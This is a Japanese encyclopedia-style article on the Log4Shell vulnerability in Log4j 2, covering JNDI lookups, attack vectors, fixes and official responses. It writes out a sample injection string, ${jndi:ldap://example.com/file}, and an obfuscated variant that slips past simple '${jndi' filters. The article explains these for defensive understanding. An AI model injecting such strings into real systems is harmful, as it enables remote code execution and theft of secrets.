Log4Shell

Log4jは、ソフトウェア開発者がアプリケーション内のさまざまなデータをロギングできるようにするオープンソースのログフレームワークである。ログデータにはユーザー入力が含まれる場合がある。Log4jは幅広いJavaアプリケーション、特にエンタープライズのソフトウェアで利用されている[5]。もともとは2001年にCeki Gülcüによって書かれ、現在はApache Software FoundationのApache Logging Servicesの一部となっている[12]。

Java Naming and Directory Interface（JNDI）を使用すると、実行時にデータへのパスを指定してJavaオブジェクトがルックアップできるようになる。JNDIではいくつかのディレクトリインターフェイスを利用でき、各インターフェイスはファイルを検索するために異なるスキームを提供している。これらのインターフェースの中に、Java以外でも利用されるLightweight Directory Access Protocol（LDAP）プロトコルがあり[13]、ローカルまたはインターネット上の任意の場所にある適切なサーバーからURLとしてオブジェクトデータを取得する[14]。

デフォルトの設定では、文字列をロギングする際に、Log4j 2は ${prefix:name}という形式の式で文字列置換を実行する[14]。たとえば、Text: ${java:version}はText: Java version 1.7.0_67などの文字列に置換される[15]。認識される式の中には、${jndi:<lookup>}がある。これは、LDAPを経由したルックアップを指定することにより、任意のURLに問い合わせが行われ、Javaオブジェクトデータとしてロードされるというものである、たとえば、${jndi:ldap://example.com/file}は、インターネットに接続されていた場合、指定したURLからデータを読み込む。したがって、攻撃者はロギングされる文字列を入力することで、公開URLでホストされた悪意のあるコードを読み込ませることが可能になる[14]。たとえデータの実行自体が無効化されていたとしても、攻撃者はURLに特定の文字列を含めることで、たとえば秘密にすべき環境変数などのデータを攻撃者のサーバーに送信できる[16][17]。

HTTPリクエストはロギングされることが多いため、よくある攻撃ベクターは、HTTPリクエストのURLや、ログに書かれることが多いUser-AgentなどのHTTPヘッダに悪意のある文字列を置くことである。初期の緩和策の1つは、${jndiなどの文字列を含むすべてのリクエストをブロックするという方法だった[18]。しかし、このように単純に検索するだけの対策は、リクエストを難読化することで回避できてしまう。たとえば、${${lower:j}ndiは、文字jを小文字にする操作が実行されたあとにJNDIルックアップに変換されてしまう[19]。入力がすぐにログに記録されなかったとしても、後に内部処理中にログに記録されて実行されてしまう可能性もある[14]。

なおLog4j 1.x系については、JNDI Lookup機能を持たないこと、またJMS Appenderが有効でもクラス情報がデシリアライズされないため、本脆弱性の影響を受けない[20]。

この脆弱性の修正は、脆弱性が公開される3日前の2021年12月6日に、Log4jバージョン2.15.0-rc1でリリースされた[21]。修正にはルックアップに使用できるサーバーとプロトコルの制限が含まれ、複数のシステムプロパティを使用して設定できる。修正は、システムプロパティlog4j2.formatMsgNoLookupsを置き換えるものである。2.10.0以降のバージョンでは、脆弱性を緩和するためにlog4j2.formatMsgNoLookupsをtrueに設定することが推奨されている[22][23][11]。2.10.0以前のバージョンでは、クラスorg.apache.logging.log4j.core.lookup.JndiLookupをclasspathから削除する必要がある[11]。

さらに、バージョン2.16.0以降では、JNDIを使用するすべての機能はデフォルトで無効になる[24]。

新しいバージョンのJava Runtime Environment（JRE）は、リモートコードがデフォルトでロードされないようにブロックすることでこの脆弱性を緩和できるが、特定のアプリケーションにはまだ他の攻撃ベクターが存在する[2][16][25]。脆弱性のあるlog4jのバージョンの発見を助けるためにいくつかの手法とツールが公開されている[26]。

アメリカ合衆国では、サイバーセキュリティ・インフラストラクチャ・セキュリティ庁（CISA）の長官Jen Easterlyがエクスプロイトを「致命的（critical）」と述べ、ベンダーにソフトウェアアップデートを優先するようアドバイスを出した[27]。カナダサイバーセキュリティセンター（CCCS）は、さまざまな組織に直ちに対応を取るように呼びかけた[28]。ドイツ連邦情報セキュリティ庁（BSI）は、この脆弱性を政府機関の最高の脅威レベルにあると指定し、「非常に重大な脅威の状況」と呼んだ。また、いくつかの攻撃がすでに成功しており、エクスプロイトの範囲を評価するのは依然として難しいと報告した[29][30]。

Cloudflare CEOのMatthew Princeによると、エクスプロイトの利用またはテストを示すエビデンスは、一般に公開される9日前の早くも12月1日に遡る[31]。 サイバーセキュリティ会社のGreyNoiseによれば、いくつかのIPアドレスが脆弱性のあるサーバーをチェックするためにウェブサイトをスクレイピングしていることがわかっている[32]。カナダ歳入庁は、エクスプロイトが発覚してから一時的にオンラインサービスをシャットダウンし、ケベック州政府は「予防措置（preventative measure）」として約4000のウェブサイトを閉鎖した[33]。

システム管理者は、状況を評価し、ライブラリを更新またはシステムプロパティを使用してルックアップを無効にする緩和策を可能な限り迅速に実行するようにアドバイスされている[34]。

• Log4j ウェブサイト